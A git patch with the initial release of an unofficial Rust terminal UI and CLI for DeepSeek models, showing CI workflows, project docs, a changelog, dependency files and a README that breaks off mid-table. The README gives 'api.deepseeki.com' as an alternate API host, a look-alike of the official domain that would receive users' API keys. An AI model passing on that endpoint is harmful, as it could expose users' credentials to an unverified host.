From 6f1158a2d74d2a7a00c2cd98d8c796641a44f3e9 Mon Sep 17 00:00:00 2001 From: Hunter Bown Date: Tue, 20 Jan 2026 08:57:15 -0600 Subject: [PATCH] Initial release v0.1.0 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit DeepSeek TUI - Unofficial terminal UI + CLI for DeepSeek models. Features: - Interactive TUI with multiple modes (Normal, Plan, Agent, YOLO, RLM, Duo) - Comprehensive tool access with approval gating - File operations, shell execution, task management - Sub-agent system for parallel work - MCP integration for external tool servers - Session management and skills system - Cross-platform support (macOS, Linux, Windows) 🤖 Generated with [Claude Code](https://claude.ai/code) --- .github/ISSUE_TEMPLATE/bug_report.md | 27 + .github/ISSUE_TEMPLATE/config.yml | 1 + .github/ISSUE_TEMPLATE/feature_request.md | 14 + .github/PULL_REQUEST_TEMPLATE.md | 13 + .github/workflows/ci.yml | 65 + .github/workflows/crates-publish.yml | 30 + .github/workflows/publish.yml | 29 + .github/workflows/release.yml | 57 + .gitignore | 55 + AGENTS.md | 33 + CHANGELOG.md | 94 + CONTRIBUTING.md | 139 + Cargo.lock | 3845 +++++++++++++++++++++ Cargo.toml | 64 + LICENSE | 21 + README.md | 291 ++ config.example.toml | 114 + docs/ARCHITECTURE.md | 196 ++ docs/CONFIGURATION.md | 127 + docs/MCP.md | 67 + docs/MODES.md | 61 + docs/PALETTE.md | 25 + docs/README.md | 23 + docs/RLM.md | 54 + docs/VOICE_AND_TONE.md | 29 + docs/rlm_gap_analysis.md | 282 ++ npm/cli.js | 36 + npm/install.js | 93 + npm/package.json | 27 + pyproject.toml | 31 + python/deepseek_cli/__init__.py | 34 + python/deepseek_cli/cli.py | 84 + src/client.rs | 822 +++++ src/command_safety.rs | 618 ++++ src/commands/config.rs | 240 ++ src/commands/core.rs | 98 + src/commands/debug.rs | 170 + src/commands/init.rs | 153 + src/commands/mod.rs | 355 ++ src/commands/queue.rs | 129 + src/commands/rlm.rs | 253 ++ src/commands/session.rs | 181 + src/commands/skills.rs | 92 + src/compaction.rs | 427 +++ src/config.rs | 706 ++++ src/core/engine.rs | 1520 ++++++++ src/core/events.rs | 118 + src/core/mod.rs | 21 + src/core/ops.rs | 81 + src/core/session.rs | 123 + src/core/tool_parser.rs | 574 +++ src/core/turn.rs | 119 + src/duo.rs | 802 +++++ src/execpolicy/amend.rs | 227 ++ src/execpolicy/decision.rs | 27 + src/execpolicy/error.rs | 28 + src/execpolicy/execpolicycheck.rs | 83 + src/execpolicy/mod.rs | 22 + src/execpolicy/parser.rs | 269 ++ src/execpolicy/policy.rs | 147 + src/execpolicy/rule.rs | 160 + src/features.rs | 192 + src/hooks.rs | 787 +++++ src/llm_client.rs | 1073 ++++++ src/logging.rs | 35 + src/main.rs | 1520 ++++++++ src/mcp.rs | 1003 ++++++ src/models.rs | 200 ++ src/modules/mod.rs | 3 + src/modules/text.rs | 754 ++++ src/palette.rs | 84 + src/pricing.rs | 52 + src/project_context.rs | 456 +++ src/project_doc.rs | 143 + src/prompts.rs | 94 + src/prompts/agent.txt | 48 + src/prompts/base.txt | 14 + src/prompts/duo.txt | 3 + src/prompts/normal.txt | 25 + src/prompts/plan.txt | 31 + src/prompts/rlm.txt | 3 + src/responses_api_proxy/mod.rs | 226 ++ src/responses_api_proxy/read_api_key.rs | 217 ++ src/rlm.rs | 1303 +++++++ src/sandbox/landlock.rs | 344 ++ src/sandbox/mod.rs | 579 ++++ src/sandbox/policy.rs | 320 ++ src/sandbox/seatbelt.rs | 398 +++ src/session_manager.rs | 444 +++ src/settings.rs | 208 ++ src/skills.rs | 154 + src/tools/duo.rs | 468 +++ src/tools/file.rs | 540 +++ src/tools/mod.rs | 53 + src/tools/patch.rs | 662 ++++ src/tools/plan.rs | 408 +++ src/tools/registry.rs | 617 ++++ src/tools/rlm.rs | 1047 ++++++ src/tools/search.rs | 551 +++ src/tools/shell.rs | 982 ++++++ src/tools/spec.rs | 678 ++++ src/tools/subagent.rs | 1036 ++++++ src/tools/todo.rs | 576 +++ src/tools/web_search.rs | 266 ++ src/tui/app.rs | 919 +++++ src/tui/approval.rs | 434 +++ src/tui/clipboard.rs | 112 + src/tui/event_broker.rs | 29 + src/tui/history.rs | 1086 ++++++ src/tui/mod.rs | 22 + src/tui/paste_burst.rs | 298 ++ src/tui/scrolling.rs | 252 ++ src/tui/selection.rs | 47 + src/tui/streaming.rs | 340 ++ src/tui/transcript.rs | 89 + src/tui/ui.rs | 3320 ++++++++++++++++++ src/tui/views/mod.rs | 496 +++ src/tui/widgets/header.rs | 134 + src/tui/widgets/mod.rs | 930 +++++ src/tui/widgets/renderable.rs | 9 + src/ui.rs | 30 + src/utils.rs | 90 + tests/palette_audit.rs | 115 + tool_test_report.md | 114 + 124 files changed, 42089 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/config.yml create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md create mode 100644 .github/PULL_REQUEST_TEMPLATE.md create mode 100644 .github/workflows/ci.yml create mode 100644 .github/workflows/crates-publish.yml create mode 100644 .github/workflows/publish.yml create mode 100644 .github/workflows/release.yml create mode 100644 .gitignore create mode 100644 AGENTS.md create mode 100644 CHANGELOG.md create mode 100644 CONTRIBUTING.md create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 LICENSE create mode 100644 README.md create mode 100644 config.example.toml create mode 100644 docs/ARCHITECTURE.md create mode 100644 docs/CONFIGURATION.md create mode 100644 docs/MCP.md create mode 100644 docs/MODES.md create mode 100644 docs/PALETTE.md create mode 100644 docs/README.md create mode 100644 docs/RLM.md create mode 100644 docs/VOICE_AND_TONE.md create mode 100644 docs/rlm_gap_analysis.md create mode 100644 npm/cli.js create mode 100644 npm/install.js create mode 100644 npm/package.json create mode 100644 pyproject.toml create mode 100644 python/deepseek_cli/__init__.py create mode 100644 python/deepseek_cli/cli.py create mode 100644 src/client.rs create mode 100644 src/command_safety.rs create mode 100644 src/commands/config.rs create mode 100644 src/commands/core.rs create mode 100644 src/commands/debug.rs create mode 100644 src/commands/init.rs create mode 100644 src/commands/mod.rs create mode 100644 src/commands/queue.rs create mode 100644 src/commands/rlm.rs create mode 100644 src/commands/session.rs create mode 100644 src/commands/skills.rs create mode 100644 src/compaction.rs create mode 100644 src/config.rs create mode 100644 src/core/engine.rs create mode 100644 src/core/events.rs create mode 100644 src/core/mod.rs create mode 100644 src/core/ops.rs create mode 100644 src/core/session.rs create mode 100644 src/core/tool_parser.rs create mode 100644 src/core/turn.rs create mode 100644 src/duo.rs create mode 100644 src/execpolicy/amend.rs create mode 100644 src/execpolicy/decision.rs create mode 100644 src/execpolicy/error.rs create mode 100644 src/execpolicy/execpolicycheck.rs create mode 100644 src/execpolicy/mod.rs create mode 100644 src/execpolicy/parser.rs create mode 100644 src/execpolicy/policy.rs create mode 100644 src/execpolicy/rule.rs create mode 100644 src/features.rs create mode 100644 src/hooks.rs create mode 100644 src/llm_client.rs create mode 100644 src/logging.rs create mode 100644 src/main.rs create mode 100644 src/mcp.rs create mode 100644 src/models.rs create mode 100644 src/modules/mod.rs create mode 100644 src/modules/text.rs create mode 100644 src/palette.rs create mode 100644 src/pricing.rs create mode 100644 src/project_context.rs create mode 100644 src/project_doc.rs create mode 100644 src/prompts.rs create mode 100644 src/prompts/agent.txt create mode 100644 src/prompts/base.txt create mode 100644 src/prompts/duo.txt create mode 100644 src/prompts/normal.txt create mode 100644 src/prompts/plan.txt create mode 100644 src/prompts/rlm.txt create mode 100644 src/responses_api_proxy/mod.rs create mode 100644 src/responses_api_proxy/read_api_key.rs create mode 100644 src/rlm.rs create mode 100644 src/sandbox/landlock.rs create mode 100644 src/sandbox/mod.rs create mode 100644 src/sandbox/policy.rs create mode 100644 src/sandbox/seatbelt.rs create mode 100644 src/session_manager.rs create mode 100644 src/settings.rs create mode 100644 src/skills.rs create mode 100644 src/tools/duo.rs create mode 100644 src/tools/file.rs create mode 100644 src/tools/mod.rs create mode 100644 src/tools/patch.rs create mode 100644 src/tools/plan.rs create mode 100644 src/tools/registry.rs create mode 100644 src/tools/rlm.rs create mode 100644 src/tools/search.rs create mode 100644 src/tools/shell.rs create mode 100644 src/tools/spec.rs create mode 100644 src/tools/subagent.rs create mode 100644 src/tools/todo.rs create mode 100644 src/tools/web_search.rs create mode 100644 src/tui/app.rs create mode 100644 src/tui/approval.rs create mode 100644 src/tui/clipboard.rs create mode 100644 src/tui/event_broker.rs create mode 100644 src/tui/history.rs create mode 100644 src/tui/mod.rs create mode 100644 src/tui/paste_burst.rs create mode 100644 src/tui/scrolling.rs create mode 100644 src/tui/selection.rs create mode 100644 src/tui/streaming.rs create mode 100644 src/tui/transcript.rs create mode 100644 src/tui/ui.rs create mode 100644 src/tui/views/mod.rs create mode 100644 src/tui/widgets/header.rs create mode 100644 src/tui/widgets/mod.rs create mode 100644 src/tui/widgets/renderable.rs create mode 100644 src/ui.rs create mode 100644 src/utils.rs create mode 100644 tests/palette_audit.rs create mode 100644 tool_test_report.md diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000..b27cef23 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,27 @@ +--- +name: Bug report +about: Report a problem or regression +labels: bug +--- + +## Description + +## Steps to reproduce + +1. +2. +3. + +## Expected behavior + +## Actual behavior + +## Environment + +- OS: +- DeepSeek CLI version: +- Model: +- Shell: + +## Logs or screenshots + diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 00000000..0086358d --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1 @@ +blank_issues_enabled: true diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 00000000..a20089f9 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,14 @@ +--- +name: Feature request +about: Suggest an idea or improvement +labels: enhancement +--- + +## Problem + +## Proposed solution + +## Alternatives considered + +## Additional context + diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 00000000..36d57b12 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,13 @@ +## Summary + +## Testing + +- [ ] `cargo test --all-features` +- [ ] `cargo fmt --all -- --check` +- [ ] `cargo clippy --all-targets --all-features` + +## Checklist + +- [ ] Updated docs or comments as needed +- [ ] Added or updated tests where relevant +- [ ] Verified TUI behavior manually if UI changes diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000..06aa383e --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,65 @@ +name: CI + +on: + push: + branches: [master, main] + pull_request: + branches: [master, main] + +env: + CARGO_TERM_COLOR: always + RUSTFLAGS: -Dwarnings + +jobs: + lint: + name: Lint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + with: + components: clippy, rustfmt + - uses: Swatinem/rust-cache@v2 + - name: Check formatting + run: cargo fmt --all -- --check + - name: Clippy + run: cargo clippy --all-targets --all-features + + test: + name: Test + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + - uses: Swatinem/rust-cache@v2 + - name: Run tests + run: cargo test --all-features + + build: + name: Build + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + - uses: Swatinem/rust-cache@v2 + - name: Build + run: cargo build --release + + # Check documentation builds without warnings + docs: + name: Documentation + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + - uses: Swatinem/rust-cache@v2 + - name: Build docs + run: cargo doc --no-deps + env: + RUSTDOCFLAGS: -Dwarnings diff --git a/.github/workflows/crates-publish.yml b/.github/workflows/crates-publish.yml new file mode 100644 index 00000000..bf621ac2 --- /dev/null +++ b/.github/workflows/crates-publish.yml @@ -0,0 +1,30 @@ +name: Publish to Crates.io + +on: + release: + types: [published] + workflow_dispatch: + +jobs: + publish: + name: Publish to crates.io + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + - uses: Swatinem/rust-cache@v2 + + - name: Verify version matches tag + if: github.event_name == 'release' + run: | + TAG_VERSION=${GITHUB_REF#refs/tags/v} + CARGO_VERSION=$(cargo metadata --format-version 1 --no-deps | jq -r '.packages[0].version') + if [ "$TAG_VERSION" != "$CARGO_VERSION" ]; then + echo "Tag version ($TAG_VERSION) does not match Cargo.toml version ($CARGO_VERSION)" + exit 1 + fi + + - name: Publish to crates.io + run: cargo publish + env: + CARGO_REGISTRY_TOKEN: ${{ secrets.CARGO_REGISTRY_TOKEN }} diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml new file mode 100644 index 00000000..30df9545 --- /dev/null +++ b/.github/workflows/publish.yml @@ -0,0 +1,29 @@ +name: publish + +on: + workflow_dispatch: + push: + tags: + - "v*" + +permissions: + id-token: write + contents: read + +jobs: + pypi: + runs-on: ubuntu-latest + environment: pypi + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: "3.11" + - name: Build package + run: | + python -m pip install --upgrade pip build + python -m build + - name: Publish to PyPI + uses: pypa/gh-action-pypi-publish@release/v1 + with: + skip-existing: true diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 00000000..6b96e40d --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,57 @@ +name: Release + +on: + push: + tags: ['v*'] + +jobs: + build: + strategy: + matrix: + include: + - os: ubuntu-latest + target: x86_64-unknown-linux-gnu + binary: deepseek + artifact_name: deepseek-linux-x64 + - os: macos-latest + target: x86_64-apple-darwin + binary: deepseek + artifact_name: deepseek-macos-x64 + - os: macos-latest + target: aarch64-apple-darwin + binary: deepseek + artifact_name: deepseek-macos-arm64 + - os: windows-latest + target: x86_64-pc-windows-msvc + binary: deepseek.exe + artifact_name: deepseek-windows-x64.exe + runs-on: ${{ matrix.os }} + steps: + - uses: actions/checkout@v4 + - uses: dtolnay/rust-toolchain@stable + with: + targets: ${{ matrix.target }} + - run: cargo build --release --target ${{ matrix.target }} + - name: Rename binary + shell: bash + run: | + cp target/${{ matrix.target }}/release/${{ matrix.binary }} ${{ matrix.artifact_name }} + - uses: actions/upload-artifact@v4 + with: + name: ${{ matrix.artifact_name }} + path: ${{ matrix.artifact_name }} + release: + needs: build + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - uses: actions/download-artifact@v4 + with: + path: artifacts + - name: List artifacts + run: find artifacts -type f + - uses: softprops/action-gh-release@v1 + with: + files: artifacts/*/* + prerelease: false diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..20be1fcc --- /dev/null +++ b/.gitignore @@ -0,0 +1,55 @@ +# Build artifacts +/target +*.pdb +*.exe +*.dll +*.so +*.dylib +*.rlib +*.o + +# Development +.env +.env.* +.vscode/ +.idea/ +*.swp +*.swo +*~ +.DS_Store +Thumbs.db + +# Python +__pycache__/ +*.py[cod] +*$py.class +.pytest_cache/ +venv/ +ENV/ +env/ +.venv/ +*.egg-info/ +dist/ + +# Logs +*.log +firebase-debug.log + +# Generated +outputs/ + +# Rust +# Note: Cargo.lock is intentionally NOT ignored for reproducible builds +firebase-debug.log +tmp/ + +# Local dev scripts and temp files +*.sh +test.txt +TODO*.md +todo*.md +CLAUDE.md +NEXT_SESSION.md + +.codex/ +docs/rlm-paper.txt diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 00000000..93b33c03 --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,33 @@ +# Project Instructions + +This file provides context for AI assistants working on this project. + +## Project Type: Rust + +### Commands +- Build: `cargo build` +- Test: `cargo test` +- Run: `cargo run` +- Check: `cargo check` +- Format: `cargo fmt` +- Lint: `cargo clippy` + +### Project: deepseek-cli + +### Documentation +See README.md for project overview. + +### Version Control +This project uses Git. See .gitignore for excluded files. + + +## Guidelines + +- Follow existing code style and patterns +- Write tests for new functionality +- Keep changes focused and atomic +- Document public APIs + +## Important Notes + + diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 00000000..a59f0e4a --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,94 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [Unreleased] + +## [0.0.1] - 2026-01-19 + +### Added +- DeepSeek Responses API client with chat-completions fallback +- CLI parity commands: login/logout, exec, review, apply, mcp, sandbox +- Resume/fork session workflows with picker fallback +- DeepSeek blue branding refresh + whale indicator +- Responses API proxy subcommand for key-isolated forwarding +- Execpolicy check tooling and feature flag CLI +- Agentic exec mode (`deepseek exec --auto`) with auto-approvals + +### Changed +- Removed multimedia tooling and aligned prompts/docs for text-only DeepSeek API + +## [0.1.9] - 2026-01-17 + +### Added +- API connectivity test in `deepseek doctor` command +- Helpful error diagnostics for common API failures (invalid key, timeout, network issues) + +## [0.1.8] - 2026-01-16 + +### Added +- Renderable widget abstraction and modal view stack for TUI composition +- Parallel tool execution with lock-aware scheduling +- Interactive shell mode with terminal pause/resume handling + +### Changed +- Tool approval requirements moved into tool specs +- Tool results are recorded in original request order + +## [0.1.7] - 2026-01-15 + +### Added +- Duo mode (player-coach autocoding workflow) +- Character-level transcript selection + +### Fixed +- Approval flow tool use ID routing +- Cursor position sync for transcript selection + +## [0.1.6] - 2026-01-14 + +### Added +- Auto-RLM for large pasted blocks with context auto-load +- `chunk_auto` and `rlm_query` `auto_chunks` for quick document sweeps +- RLM usage badge with budget warnings in the footer + +### Changed +- Auto-RLM now honors explicit RLM file requests even for smaller files + +## [0.1.5] - 2026-01-14 + +### Added +- RLM prompt with external-context guidance and REPL tooling +- RLM tools for context loading, execution, status, and sub-queries (rlm_load, rlm_exec, rlm_status, rlm_query) +- RLM query usage tracking and variable buffers +- Workspace-relative `@path` support for RLM loads +- Auto-switch to RLM when users request large file analysis (or the largest file) + +### Changed +- Removed Edit mode; RLM chat is default with /repl toggle + +## [0.1.0] - 2026-01-12 + +### Added +- Initial alpha release of DeepSeek CLI +- Interactive TUI chat interface +- DeepSeek API integration (OpenAI-compatible Responses API) +- Tool execution (shell, file ops) +- MCP (Model Context Protocol) support +- Session management with history +- Skills/plugin system +- Cost tracking and estimation +- Hooks system and config profiles +- Example skills and launch assets + +[Unreleased]: https://github.com/Hmbown/DeepSeek-CLI/compare/v0.0.1...HEAD +[0.0.1]: https://github.com/Hmbown/DeepSeek-CLI/releases/tag/v0.0.1 +[0.1.9]: https://github.com/Hmbown/DeepSeek-CLI/compare/v0.1.8...v0.1.9 +[0.1.8]: https://github.com/Hmbown/DeepSeek-CLI/compare/v0.1.7...v0.1.8 +[0.1.7]: https://github.com/Hmbown/DeepSeek-CLI/compare/v0.1.6...v0.1.7 +[0.1.6]: https://github.com/Hmbown/DeepSeek-CLI/compare/v0.1.5...v0.1.6 +[0.1.5]: https://github.com/Hmbown/DeepSeek-CLI/compare/v0.1.0...v0.1.5 +[0.1.0]: https://github.com/Hmbown/DeepSeek-CLI/releases/tag/v0.1.0 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000..bd1b979b --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,139 @@ +# Contributing to DeepSeek CLI + +Thank you for your interest in contributing to DeepSeek CLI! This document provides guidelines and instructions for contributing. + +## Getting Started + +### Prerequisites + +- Rust 1.85 or later (edition 2024) +- Cargo package manager +- Git + +### Setting Up Development Environment + +1. Fork and clone the repository: + ```bash + git clone https://github.com/YOUR_USERNAME/DeepSeek-CLI.git + cd DeepSeek-CLI + ``` + +2. Build the project: + ```bash + cargo build + ``` + +3. Run tests: + ```bash + cargo test + ``` + +4. Run with development settings: + ```bash + cargo run + ``` + +## Development Workflow + +### Code Style + +- Run `cargo fmt` before committing to ensure consistent formatting +- Run `cargo clippy` and address all warnings +- Follow Rust naming conventions (snake_case for functions/variables, CamelCase for types) +- Add documentation comments for public APIs + +### Testing + +- Write tests for new functionality +- Ensure all existing tests pass: `cargo test` +- For integration tests, use the `tests/` directory + +### Commit Messages + +Use clear, descriptive commit messages following conventional commits: + +- `feat:` New feature +- `fix:` Bug fix +- `docs:` Documentation changes +- `refactor:` Code refactoring +- `test:` Adding or updating tests +- `chore:` Maintenance tasks + +Example: `feat: add --doctor command for system diagnostics` + +## Project Structure + +``` +src/ +├── main.rs # Entry point and CLI definition +├── config.rs # Configuration management +├── client.rs # HTTP client for DeepSeek API +├── llm_client.rs # LLM abstraction layer +├── models.rs # Data structures +├── mcp.rs # Model Context Protocol support +├── hooks.rs # Hook system for extensibility +├── skills.rs # Skills/plugin system +├── core/ # Core engine components +│ ├── engine.rs # Main agent loop +│ ├── session.rs # Session management +│ └── ... +├── tools/ # Built-in tools +│ ├── shell.rs # Shell execution +│ ├── file.rs # File operations +│ └── ... +├── tui/ # Terminal UI +│ ├── app.rs # Application state +│ ├── ui.rs # Rendering logic +│ └── ... +└── sandbox/ # Sandbox execution (macOS) +``` + +## Submitting Changes + +1. Create a feature branch from `main`: + ```bash + git checkout -b feat/your-feature + ``` + +2. Make your changes and commit them + +3. Ensure CI passes: + ```bash + cargo fmt --check + cargo clippy + cargo test + ``` + +4. Push your branch and create a Pull Request + +5. Describe your changes clearly in the PR description + +## Pull Request Guidelines + +- Keep PRs focused on a single change +- Update documentation if needed +- Add tests for new functionality +- Ensure CI passes before requesting review + +## Reporting Issues + +When reporting issues, please include: + +- Operating system and version +- Rust version (`rustc --version`) +- DeepSeek CLI version (`deepseek --version`) +- Steps to reproduce the issue +- Expected vs actual behavior +- Relevant error messages or logs + +## Code of Conduct + +Be respectful and inclusive. We welcome contributors of all backgrounds and experience levels. + +## License + +By contributing to DeepSeek CLI, you agree that your contributions will be licensed under the MIT License. + +## Questions? + +Feel free to open an issue for any questions about contributing. diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 00000000..5b6033a9 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,3845 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "Inflector" +version = "0.11.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe438c63458706e03479442743baae6c88256498e6431708f6dfc520a26515d3" +dependencies = [ + "lazy_static", + "regex", +] + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "ahash" +version = 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"0.3.6" +async-trait = "0.1" +bytes = "1.11.0" +base64 = "0.22.1" +clap = { version = "4.5.54", features = ["derive"] } +clap_complete = "4.5" +colored = "3.0.0" +crossterm = "0.28" +dotenvy = "0.15.7" +dirs = "6.0.0" +futures-util = "0.3.31" +indicatif = "0.18.0" +ratatui = "0.29" +regex = "1.11" +reqwest = { version = "0.13.1", default-features = false, features = ["blocking", "json", "stream", "multipart", "native-tls", "http2"] } +rustyline = "15.0.0" +serde = { version = "1.0.228", features = ["derive"] } +serde_json = "1.0.149" +shellexpand = "3" +toml = "0.9.7" +tokio = { version = "1.49.0", features = ["full"] } +tokio-util = { version = "0.7.16", features = ["io"] } +unicode-width = "0.2" +unicode-segmentation = "1.12" +uuid = { version = "1.11", features = ["v4"] } +tokio-stream = "0.1" +chrono = { version = "0.4", features = ["serde"] } +tempfile = "3.16" +thiserror = "2.0" +tracing = "0.1" +wait-timeout = "0.2" +multimap = "0.10.0" +shlex = "1.3.0" +starlark = "0.13.0" +tiny_http = "0.12" +zeroize = "1.8.2" + +[dev-dependencies] +wiremock = "0.6" +pretty_assertions = "1.4" + +# Platform-specific dependencies +[target.'cfg(target_os = "macos")'.dependencies] +libc = "0.2" + +[target.'cfg(target_os = "linux")'.dependencies] +libc = "0.2" diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..d20b90d5 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024-2025 DeepSeek CLI Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 00000000..3c031330 --- /dev/null +++ b/README.md @@ -0,0 +1,291 @@ +# DeepSeek CLI 🤖 + +Your AI-powered terminal companion for DeepSeek models + +[![CI](https://github.com/Hmbown/DeepSeek-TUI/actions/workflows/ci.yml/badge.svg)](https://github.com/Hmbown/DeepSeek-TUI/actions/workflows/ci.yml) +[![crates.io](https://img.shields.io/crates/v/deepseek-tui)](https://crates.io/crates/deepseek-tui) +[![npm](https://img.shields.io/npm/v/@hmbown/deepseek-tui)](https://www.npmjs.com/package/@hmbown/deepseek-tui) + +Unofficial terminal UI (TUI) + CLI for the [DeepSeek platform](https://platform.deepseek.com) — chat with DeepSeek models and collaborate with AI assistants that can read, write, execute, and plan with approval-gated tool access. + +**Not affiliated with DeepSeek Inc.** + +## ✨ Features + +- **Interactive TUI** with multiple modes (Normal, Plan, Agent, YOLO, RLM, Duo) +- **Comprehensive tool access** – File operations, shell execution, task management, and sub-agent systems +- **File operations**: List directories, read/write/edit files, apply patches, search files with regex +- **Shell execution**: Run commands with timeout support, background execution with task management +- **Task management**: Todo lists, implementation plans, persistent notes +- **Sub-agent system**: Spawn, manage, and cancel background agents for parallel work +- **Web search**: Integrated web search with DuckDuckGo +- **Multi‑model support** – DeepSeek‑Reasoner, DeepSeek‑Chat, and other DeepSeek models +- **Context‑aware** – loads project‑specific instructions from `AGENTS.md` +- **Session management** – resume, fork, and search past conversations +- **Skills system** – reusable workflows stored as `SKILL.md` directories +- **Model Context Protocol (MCP)** – integrate external tool servers +- **Sandboxed execution** (macOS) for safe shell commands +- **Git integration** – code review, patch application, diff analysis +- **Cross‑platform** – works on macOS, Linux, and Windows + +## 🚀 Quick Start + +1. **Get an API key** from [https://platform.deepseek.com](https://platform.deepseek.com) +2. **Install and run**: + +```bash +# Install via npm (recommended) +npm install -g @hmbown/deepseek-tui + +# Or install via Cargo +cargo install deepseek-tui --locked + +# Set your API key +export DEEPSEEK_API_KEY="YOUR_DEEPSEEK_API_KEY" + +# Start chatting +deepseek +``` + +3. Press `F1` or type `/help` for the in‑app command list. + +If anything looks off, run `deepseek doctor` to diagnose configuration issues. + +## 📦 Installation + +### Prebuilt via npm / bun (recommended) + +The npm package is a thin wrapper that downloads the platform‑appropriate Rust binary from GitHub Releases. + +```bash +npm install -g @hmbown/deepseek-tui +# or +bun install -g @hmbown/deepseek-tui +``` + +### From crates.io (Rust) + +```bash +cargo install deepseek-tui --locked +``` + +### Build from source + +```bash +git clone https://github.com/Hmbown/DeepSeek-TUI.git +cd DeepSeek-TUI +cargo build --release +./target/release/deepseek --help +``` + +### Direct download + +Download a prebuilt binary from [GitHub Releases](https://github.com/Hmbown/DeepSeek-TUI/releases) and put it on your `PATH` as `deepseek`. + +## ⚙️ Configuration + +On first run, the TUI can prompt for your API key and save it to `~/.deepseek/config.toml`. You can also create the file manually: + +```toml +# ~/.deepseek/config.toml +api_key = "YOUR_DEEPSEEK_API_KEY" # must be non‑empty +default_text_model = "deepseek-reasoner" # optional +allow_shell = false # optional +max_subagents = 3 # optional (1‑5) +``` + +Useful environment variables: + +- `DEEPSEEK_API_KEY` (overrides `api_key`) +- `DEEPSEEK_BASE_URL` (default: `https://api.deepseek.com`; China users may use `https://api.deepseeki.com`) +- `DEEPSEEK_PROFILE` (selects `[profiles.]` from the config; errors if missing) +- `DEEPSEEK_CONFIG_PATH` (override config path) +- `DEEPSEEK_MCP_CONFIG`, `DEEPSEEK_SKILLS_DIR`, `DEEPSEEK_NOTES_PATH`, `DEEPSEEK_MEMORY_PATH`, `DEEPSEEK_ALLOW_SHELL`, `DEEPSEEK_MAX_SUBAGENTS` + +See `config.example.toml` and `docs/CONFIGURATION.md` for a full reference. + +## 🎮 Modes + +In the TUI, press `Tab` to cycle modes: **Normal → Plan → Agent → YOLO → RLM → Duo → Normal**. + +| Mode | Description | Approval Behavior | +|------|-------------|-------------------| +| **Normal** | Chat; asks before file writes or shell | Manual approval for writes & shell | +| **Plan** | Design‑first prompting; same approvals as Normal | Manual approval for writes & shell | +| **Agent** | Multi‑step tool use; asks before shell | Manual approval for shell, 